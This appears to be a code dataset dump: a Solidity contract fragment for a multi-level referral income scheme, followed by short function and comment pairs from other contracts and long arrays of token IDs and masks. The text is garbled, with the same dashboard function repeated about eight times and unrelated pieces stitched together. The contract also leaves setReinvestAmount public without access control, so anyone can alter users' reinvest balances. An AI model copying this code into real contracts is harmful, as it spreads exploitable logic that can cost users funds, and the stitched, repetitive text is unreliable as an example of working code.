user,,,,,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).addBalanceOf(user, amount),"balance update fail"); emit withdrawTokenEv(now, user, amount); return true; } event getEtherFromTokenEv(uint timeNow,address user,uint tokenAmount,uint etherAmount ); function getEtherFromToken(uint amount) public returns (bool) { require(allowWithdrawInEther, "now allowed"); require(LMXInterface(tokenContractAddress).balanceOf(msg.sender) >= amount,"not enough balance"); uint etherAmount = (( amount * 1000000 ) / oneEthToDollar) / 1000000; LMXInterface(tokenContractAddress).burnSpecial(msg.sender, amount); msg.sender.transfer(etherAmount); emit getEtherFromTokenEv(now,msg.sender, amount, etherAmount ); return true; } function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 teamActivationIncome,uint256 teamBonus,uint256 megaIncome, uint256[6] memory autoPoolIncome) { uint256 i; for(i=0;i<6;i++) { boostIncome += ( boosterGain[_userId][i] - paidBoosterGain[_userId][i]); } for(i=0;i<8;i++) { teamActivationIncome += (teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i]); } for(i=0;i<8;i++) { teamBonus += (teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i]); } uint256 pId = mscInterface(mscContractAddress).subUserId(networkId, 6, false, _userId ); for(i=0;i<10;i++) { megaIncome += ( megaPoolGain[pId][i] - paidMegaPoolGain[pId][i]); } uint256 j; ( ,,,,,uint256 lastLevel,,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId); for(j=0;j<6;j++) { for(i=0;i<6;i++) { if(lastLevel <= i+1) { pId = mscInterface(mscContractAddress).subUserId(networkId, j, false, _userId ); autoPoolIncome[j] += autoPoolGain[pId][j][i] - paidAutoPoolGain[pId][j][i]; } } } } event payInEv(uint timeNow,address _user,uint256 amount); function regUser(uint256 _referrerId,uint256 _parentId) public payable returns(bool) { uint amount = levelBuyPrice[0]; require(viewPlanPriceInEther(0) == msg.value, "incorrect price sent"); require(LMXInterface(tokenContractAddress).mintToken(msg.sender, amount),"token mint fail"); require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail"); require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail"); require(mscInterface(mscContractAddress).regUserViaContract(networkId,_referrerId,_parentId,amount),"regUser fail"); emit payInEv(now,msg.sender,msg.value); return true; } function buyLevel(uint256 _planIndex, uint256 _userId) public payable returns(bool) { uint amount = levelBuyPrice[_planIndex]; require(viewPlanPriceInEther(_planIndex) == msg.value, "incorrect price sent"); require(LMXInterface(tokenContractAddress).mintToken(msg.sender, amount),"token mint fail"); require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail"); require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail"); require(mscInterface(mscContractAddress).buyLevelViaContract(networkId,_planIndex,_userId, amount),"regUser fail"); emit payInEv(now,msg.sender,msg.value); return true; } event buyLevelbyTokenGainEv(uint256 timeNow, uint256 _networkId,uint256 _planIndex, uint256 _userId, uint amount ); function buyLevelbyTokenGain(uint256 _planIndex, uint256 _userId ) internal returns(bool) { uint amount = levelBuyPrice[_planIndex] ; require( amount <= boosterGain[_userId][_planIndex-1] - paidBoosterGain[_userId][_planIndex-1],"not enough amount"); require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).addBalanceOf(msg.sender, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail"); paidBoosterGain[_userId][_planIndex-1] += amount; require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail"); require(mscInterface(mscContractAddress).buyLevelViaContract(networkId,_planIndex,_userId, amount),"regUser fail"); emit buyLevelbyTokenGainEv(now,networkId,_planIndex,_userId,amount); return true; } event reInvestEv(uint256 timeNow, uint256 _networkId,uint256 _referrerId, uint256 _parentId, uint amount ); function reInvest(uint256 _userId, uint256 _parentId) public returns(bool) { uint amount = levelBuyPrice[0]; uint _networkId = networkId; require(reInvestGain[_userId] >= amount && now <= expiryTime[_userId], "either less amount or time expired" ); require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).addBalanceOf(msg.sender, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail"); reInvestGain[_userId] -= amount; ( ,,,uint pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, _userId); require(mscInterface(mscContractAddress).regUserViaContract(_networkId,pId,_parentId, amount),"regUser fail"); emit reInvestEv(now,_networkId,pId,_parentId,amount); return true; } event claimReInvestEv(uint256 timeNow, uint256 _networkId,uint256 _planIndex, uint256 _userId, uint amount ); function claimReInvest(uint256 _userId) public onlyOwner returns(bool) { uint amount = levelBuyPrice[0] ; require(reInvestGain[_userId] >= amount && now > expiryTime[_userId], "either less amount or time expired" ); require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail"); require(LMXInterface(tokenContractAddress).addBalanceOf(owner, amount),"balance update fail"); emit claimReInvestEv(now,networkId,0,_userId,amount); return true; } function setBasicData(address payable _mscContractAddress,address payable _tokenContractAddress,address payable _buffer, uint256 _networkId ) public onlyOwner returns(bool) { mscContractAddress = _mscContractAddress; tokenContractAddress = _tokenContractAddress; bufferAddress = _buffer; networkId = _networkId; return true; } function setOneEthToDollar(uint _value) public onlySigner returns(bool) { oneEthToDollar = _value; return true; } event withdrawForUSDTEv(uint256 timeNow, uint256 amount); function withdrawForUSDT() public onlyOwner returns(bool) { owner.transfer(address(this).balance); emit withdrawForUSDTEv(now, address(this).balance); } function getFund(uint amount, uint _type) public returns(bool) { require(_type > 0 && _type < 3, "invalid type"); if(_type == 1) require(msg.sender == owner); if(_type == 2) require(msg.sender == bufferAddress); mscInterface(mscContractAddress).doPay(networkId,_type,amount,msg.sender); return true; } function viewPlanPriceInEther(uint256 _levelIndex ) public view returns(uint256) { if (_levelIndex < 6) return (( levelBuyPrice[_levelIndex] * 1000000 ) / oneEthToDollar) / 1000000; return 0; } function viewTokenValueInEther(uint256 _amount ) public view returns(uint256) { return ( _amount * 1000000 * oneEthToDollar) / 1000000; } function setReinvestAmount(uint amount, uint _userId, uint expiry) public returns(bool) { reInvestGain[_userId] = amount; expiryTime[_userId] = expiry; return true; } }
12,350,523
[ 1, 48, 351, 2409, 4995, 4186, 777, 1122, 7990, 854, 6249, 576, 4880, 353, 1801, 6770, 12, 11890, 5034, 516, 2254, 5034, 63, 2499, 5717, 3778, 8843, 1182, 1076, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 95, 203, 203, 203, 565, 1758, 1071, 312, 1017, 8924, 1887, 31, 203, 565, 2254, 5034, 1071, 2483, 548, 31, 203, 565, 1758, 1071, 1147, 8924, 1887, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 26, 5717, 1071, 14994, 264, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 28, 5717, 1071, 5927, 14857, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 28, 5717, 1071, 5927, 38, 22889, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 2163, 5717, 1071, 312, 11061, 2864, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 1426, 63, 2163, 5717, 1071, 312, 11061, 2864, 8367, 774, 1190, 9446, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 26, 5717, 1071, 30591, 26653, 264, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 28, 5717, 1071, 30591, 8689, 14857, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 28, 5717, 1071, 30591, 8689, 38, 22889, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 2163, 5717, 1071, 30591, 49, 11061, 2864, 43, 530, 31, 203, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 23, 5717, 1071, 5927, 15858, 4851, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 63, 26, 22643, 1071, 3656, 2864, 43, 530, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2874, 12, 11890, 2 ]
./full_match/8453/0x18159f21D6A2F72Dc97FC1d2ddEbCEcfa614142C/sources/contracts/AuditRefactor_RocketDrop.sol
pool specific block number when rewards end
uint32 endBlock;
11,553,978
[ 1, 6011, 2923, 1203, 1300, 1347, 283, 6397, 679, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 1578, 679, 1768, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x7C383E9578da9f6068532bd0d4a2c1De34516B96/sources/contracts/Mainnet/V1_Vanilla/CryptographFactoryLogicV1.sol
@notice Init function of the Cryptograph Factory @dev Callable only once after deployment @param _officialPublisher The address that perpetual altruism will be using consistently through all deployments @param _targetVC The address of the proxied Version Control @param _targetAuctionHouse The address of the proxied Auction House @param _targetIndex The address of the proxied Index @param _targetCryLogicVersion The code index of TheCryptographLogicV1 in the version control @param _targetAuctionLogicVersion The code index of SingleAuctionLogicV1 in the version control @param _targetAuctionBidLogicVersion The code index of SingleAuctionBidLogicV1 in the version control @param _targetMintingAuctionLogicVersion The code index of MintingAuctionLogicV1 in the version control
function init( address _officialPublisher, address _targetVC, address _targetAuctionHouse, address _targetIndex, uint256 _targetCryLogicVersion, uint256 _targetAuctionLogicVersion, uint256 _targetAuctionBidLogicVersion, uint256 _targetMintingAuctionLogicVersion ) external { unchecked { require(!initialized, "The Cryptograph Factory has already been initialized"); initialized = true; officialPublisher = _officialPublisher; targetVC = _targetVC; targetAuctionHouse = _targetAuctionHouse; targetIndex = _targetIndex; targetCryLogicVersion = _targetCryLogicVersion; targetAuctionLogicVersion = _targetAuctionLogicVersion; targetAuctionBidLogicVersion = _targetAuctionBidLogicVersion; targetMintingAuctionLogicVersion = _targetMintingAuctionLogicVersion; communityMintable = false; } }
13,351,165
[ 1, 2570, 445, 434, 326, 22752, 8829, 7822, 225, 10464, 1338, 3647, 1839, 6314, 225, 389, 3674, 22354, 15960, 1021, 1758, 716, 1534, 6951, 1462, 524, 313, 89, 6228, 903, 506, 1450, 11071, 715, 3059, 777, 20422, 225, 389, 3299, 13464, 1021, 1758, 434, 326, 21875, 4049, 8888, 225, 389, 3299, 37, 4062, 44, 3793, 1021, 1758, 434, 326, 21875, 432, 4062, 670, 3793, 225, 389, 3299, 1016, 1021, 1758, 434, 326, 21875, 3340, 225, 389, 3299, 39, 1176, 20556, 1444, 1021, 981, 770, 434, 1021, 22815, 8829, 20556, 58, 21, 316, 326, 1177, 3325, 225, 389, 3299, 37, 4062, 20556, 1444, 225, 1021, 981, 770, 434, 10326, 37, 4062, 20556, 58, 21, 316, 326, 1177, 3325, 225, 389, 3299, 37, 4062, 17763, 20556, 1444, 225, 1021, 981, 770, 434, 10326, 37, 4062, 17763, 20556, 58, 21, 316, 326, 1177, 3325, 225, 389, 3299, 49, 474, 310, 37, 4062, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 1208, 12, 203, 3639, 1758, 389, 3674, 22354, 15960, 16, 203, 3639, 1758, 389, 3299, 13464, 16, 203, 3639, 1758, 389, 3299, 37, 4062, 44, 3793, 16, 203, 3639, 1758, 389, 3299, 1016, 16, 203, 3639, 2254, 5034, 389, 3299, 39, 1176, 20556, 1444, 16, 203, 3639, 2254, 5034, 389, 3299, 37, 4062, 20556, 1444, 16, 203, 3639, 2254, 5034, 389, 3299, 37, 4062, 17763, 20556, 1444, 16, 203, 3639, 2254, 5034, 389, 3299, 49, 474, 310, 37, 4062, 20556, 1444, 203, 565, 262, 3903, 288, 203, 3639, 22893, 288, 203, 5411, 2583, 12, 5, 13227, 16, 315, 1986, 22752, 8829, 7822, 711, 1818, 2118, 6454, 8863, 203, 5411, 6454, 273, 638, 31, 203, 5411, 3397, 22354, 15960, 273, 389, 3674, 22354, 15960, 31, 203, 5411, 1018, 13464, 273, 389, 3299, 13464, 31, 203, 5411, 1018, 37, 4062, 44, 3793, 273, 389, 3299, 37, 4062, 44, 3793, 31, 203, 5411, 1018, 1016, 273, 389, 3299, 1016, 31, 203, 5411, 1018, 39, 1176, 20556, 1444, 273, 389, 3299, 39, 1176, 20556, 1444, 31, 203, 5411, 1018, 37, 4062, 20556, 1444, 273, 389, 3299, 37, 4062, 20556, 1444, 31, 203, 5411, 1018, 37, 4062, 17763, 20556, 1444, 273, 389, 3299, 37, 4062, 17763, 20556, 1444, 31, 203, 5411, 1018, 49, 474, 310, 37, 4062, 20556, 1444, 273, 389, 3299, 49, 474, 310, 37, 4062, 20556, 1444, 31, 203, 5411, 19833, 49, 474, 429, 273, 629, 31, 203, 540, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xef0F6F951F0e62774597eB29b86065498bB7aC32/sources/contracts/periphery/lib/ControllerHelperDataType.sol
collateral to withdraw from vault
uint256 collateralToWithdraw;
11,610,508
[ 1, 12910, 2045, 287, 358, 598, 9446, 628, 9229, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 4508, 2045, 287, 774, 1190, 9446, 31, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 